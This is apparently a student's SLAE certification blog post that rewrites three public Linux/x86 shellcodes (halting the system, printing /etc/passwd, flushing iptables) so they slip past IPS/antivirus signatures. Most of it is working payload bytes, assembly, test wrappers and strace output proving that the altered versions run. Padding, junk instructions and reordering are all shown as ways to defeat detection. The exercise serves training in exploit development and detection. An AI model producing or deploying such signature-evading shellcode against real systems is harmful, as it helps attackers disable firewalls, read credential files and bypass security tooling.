Hi there, post six of seven for my SLAE (http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/) is an exercise in defeating pattern-matching by altering three shellcodes gathered from shell-storm.org - the aim of which is to allow the shellcode to function as normal even if the shellcode has been sampled and entered into IPS/AV signature databases.
The three results follow :-)
https://github.com/pabb85/SLAE/blob/master/execve-halt-altered_analysis ;
https://github.com/pabb85/SLAE/blob/master/cat-passwd-altered_analysis ;
https://github.com/pabb85/SLAE/blob/master/flush-iptables_analysis ;
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.
The three results follow :-)
https://github.com/pabb85/SLAE/blob/master/execve-halt-altered_analysis ;
Shellcode source: http://shell-storm.org/shellcode/files/shellcode-483.php
Description: Linux/x86 - execve(/sbin/halt,/sbin/halt) - 27 bytes by TheWorm
This shellcode comes in a C program like so;
--begins--
#include <stdio.h>
const char shellcode[]=
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x66\x68\x6c\x74" // pushw $0x746c
"\x68\x6e\x2f\x68\x61" // push $0x61682f6e
"\x68\x2f\x73\x62\x69" // push $0x6962732f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main()
{
printf ("\n[+] Linux/x86 execve(/sbin/halt,/sbin/halt)"
"\n[+] Date: 11/07/2009"
"\n[+] Author: TheWorm"
"\n\n[+] Shellcode Size: %d bytes\n\n", sizeof(shellcode)-1);
(*(void (*)()) shellcode)();
return 0;
}
--ends--
Let's keep this first example simple - break the pattern with nops :-)
"\x6a\x0b" // push $0xb
"\x90" // nop
"\x58" // pop %eax
"\x90" // nop
"\x99" // cltd
"\x90" // nop
"\x52" // push %edx
"\x90" // nop
"\x66\x68\x6c\x74" // pushw $0x746c
"\x90" // nop
"\x68\x6e\x2f\x68\x61" // push $0x61682f6e
"\x90" // nop
"\x68\x2f\x73\x62\x69" // push $0x6962732f
"\x90" // nop
"\x89\xe3" // mov %esp,%ebx
"\x90" // nop
"\x52" // push %edx
"\x90" // nop
"\x53" // push %ebx
"\x90" // nop
"\x89\xe1" // mov %esp,%ecx
"\x90" // nop
"\xcd\x80"; // int $0x80
Let's prove this by compiling and running (I'm going to catch this in strace as a low priv user because I don't really want the halt :-)
paul@SLAE001:~$ gcc execve-halt-altered.c -o execve-halt-altered -m32 -fno-stack-protector -z execstack
paul@SLAE001:~$ strace ./execve-halt-altered
execve("./execve-halt-altered", ["./execve-halt-altered"], [/* 21 vars */]) = 0
...
write(1, "\n", 1
) = 1
write(1, "[+] Linux/x86 execve(/sbin/halt,"..., 44[+] Linux/x86 execve(/sbin/halt,/sbin/halt)
) = 44
write(1, "[+] Date: 11/07/2009\n", 21[+] Date: 11/07/2009
) = 21
write(1, "[+] Author: TheWorm\n", 20[+] Author: TheWorm
) = 20
write(1, "\n", 1
) = 1
write(1, "[+] Shellcode Size: 38 bytes\n\n", 30[+] Shellcode Size: 38 bytes
) = 30
execve("/sbin/halt", ["/sbin/halt"], [/* 0 vars */]) = 0
...
write(2, "halt: Need to be root\n", 22halt: Need to be root
) = 22
exit_group(1) = ?
paul@SLAE001:~$
Okay, nice... This very basic method works.
Although - it does increases the size of the shellcode a fair bit.
https://github.com/pabb85/SLAE/blob/master/cat-passwd-altered_analysis ;
Shellcode source: http://shell-storm.org/shellcode/files/shellcode-571.php
Description: Linux/x86 - bin/cat /etc/passwd - 43 bytes by fb1h2s
This shellcode also comes in a C program like so;
--begins--
#include <stdio.h>
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // push dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
int main()
{
(*(void (*)()) shellcode)();
return 0;
}
/*
shellcode[]= "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64"
"\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/
--ends--
On this second example, let's mess around with it by adding unnecessary but valid instructions :-)
"\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\xef\xbe\xad\xde" // ADDED: push dword 0xdeadbeef
"\x5b" // ADDED: pop ebx
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // push dword 0x64777373
"\x40" // ADDED: inc eax
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x48" // ADDED: dec eax
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
Let's prove this by compiling and running...
paul@SLAE001:~$ gcc cat-passwd-altered.c -o cat-passwd-altered -m32 -fno-stack-protector -z execstack
paul@SLAE001:~$ ./cat-passwd-altered
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
...
paul@SLAE001:~$
Okay, nice... Also another method which works nicely.
Less easy for IDS/AV/etc to spot, they could exclude NOPs but not valid instrutions.
Breaks up the strings being pushed also.
Adds a small bit of size.
https://github.com/pabb85/SLAE/blob/master/flush-iptables_analysis ;
Shellcode source: http://shell-storm.org/shellcode/files/shellcode-368.php
Description: Linux/x86 - iptables --flush - 43 bytes by Hamza Megahed
This shellcode comes as a C file;
--begins--
/*
* 06/03/2003
*
* ( 45 bytes ) to flush iptables.
*
* _execve(/sbin/iptables -F) by UnboundeD
* greetz to s0t4ipv6.
*
*/
char shellcode[] =
"\x31\xd2" // xorl %edx,%edx
"\x52" // pushl %edx
"\x66\x68\x2d\x46" // pushw $0x462d
"\x89\xe6" // movl %esp,%esi
"\x52" // pushl %edx
"\x68\x62\x6c\x65\x73" // pushl $0x73656c62
"\x68\x69\x70\x74\x61" // pushl $0x61747069
"\x89\xe7" // movl %esp,%edi
"\x68\x62\x69\x6e\x2f" // pushl $0x2f6e6962
"\x68\x2f\x2f\x2f\x73" // pushl $0x732f2f2f
"\x89\xe3" // movl %esp,%ebx
"\x52" // pushl %edx
"\x56" // pushl %esi
"\x57" // pushl %edi
"\x89\xe1" // movl %esp,%ecx
"\x31\xc0" // xorl %eax,%eax
"\xb0\x0b" // movb $0xb,%al
"\xcd\x80" // int $0x80
;
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
--ends--
For this third example, let's straight-up try and optimise it.
Let's try and run it first...
paul@SLAE001:~$ gcc flush-iptables.c -o flush-iptables -m32 -fno-stack-protector -z execstack
flush-iptables.c: In function ‘main’:
flush-iptables.c:36:9: warning: incompatible implicit declaration of built-in function ‘printf’ [enabled by default]
flush-iptables.c:36:40: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default]
paul@SLAE001:~$ strace ./flush-iptables
execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0
...
write(1, "Shellcode lenght=45\n", 20Shellcode lenght=45
) = 20
exit_group(-1081789164) = ?
paul@SLAE001:~$
Okay, getting some errors running it so just dropped it into a known-working C program wrapper with the includes, etc.
paul@SLAE001:~$ cat shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack
unsigned char code[] = \
"\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
paul@SLAE001:~$ gcc shellcode.c -o shellcode -m32 -fno-stack-protector -z execstack
paul@SLAE001:~$ strace ./shellcode
execve("./shellcode", ["./shellcode"], [/* 21 vars */]) = 0
...
write(1, "Shellcode Length: 45\n", 22Shellcode Length: 45
) = 22
execve("///sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0
brk(0) = 0x9804000
...
exit_group(3) = ?
paul@SLAE001:~$
Okay, this works, lets have a tinker with the shellcode and try and optimise it somewhat - the main purpose being to change the instructions so that the pattern of the file is not recognised by IPS/AV as being in their signature databases.
I came up with the following alternative version of the shellcode;
global _start
section .text
_start:
xor eax,eax
mov al,0xb
cdq
;xor edx,edx
push edx
push word 0x462d ; -F
mov esi,esp
push edx
push dword 0x73656c62 ; bles
push dword 0x61747069 ; ipta
mov edi,esp
push dword 0x2f6e6962 ; bin/
push word 0x732f ; /s
mov ebx,esp
push edx
push esi
push edi
mov ecx,esp
;xor eax,eax
;mov al,0xb
int 0x80
Let's test it...
paul@SLAE001:~$ ./compile.sh flush-iptables
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
paul@SLAE001:~$ strace ./flush-iptables
execve("./flush-iptables", ["./flush-iptables"], [/* 21 vars */]) = 0
execve("/sbin/iptables", ["iptables", "-F"], [/* 0 vars */]) = 0
...
exit_group(3) = ?
paul@SLAE001:~$ objdump -d ./flush-iptables|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80"
paul@SLAE001:~$ perl -e 'print "\x31\xc0\xb0\x0b\x99\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x62\x69\x6e\x2f\x66\x68\x2f\x73\x89\xe3\x52\x56\x57\x89\xe1\xcd\x80";' | wc -c
43
paul@SLAE001:~$
Nice...! In the new, altered form it works.
Also, I shaved two bytes off the shellcode - I'll earn the bonus points for that :-)
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification, Student ID: SLAE-469.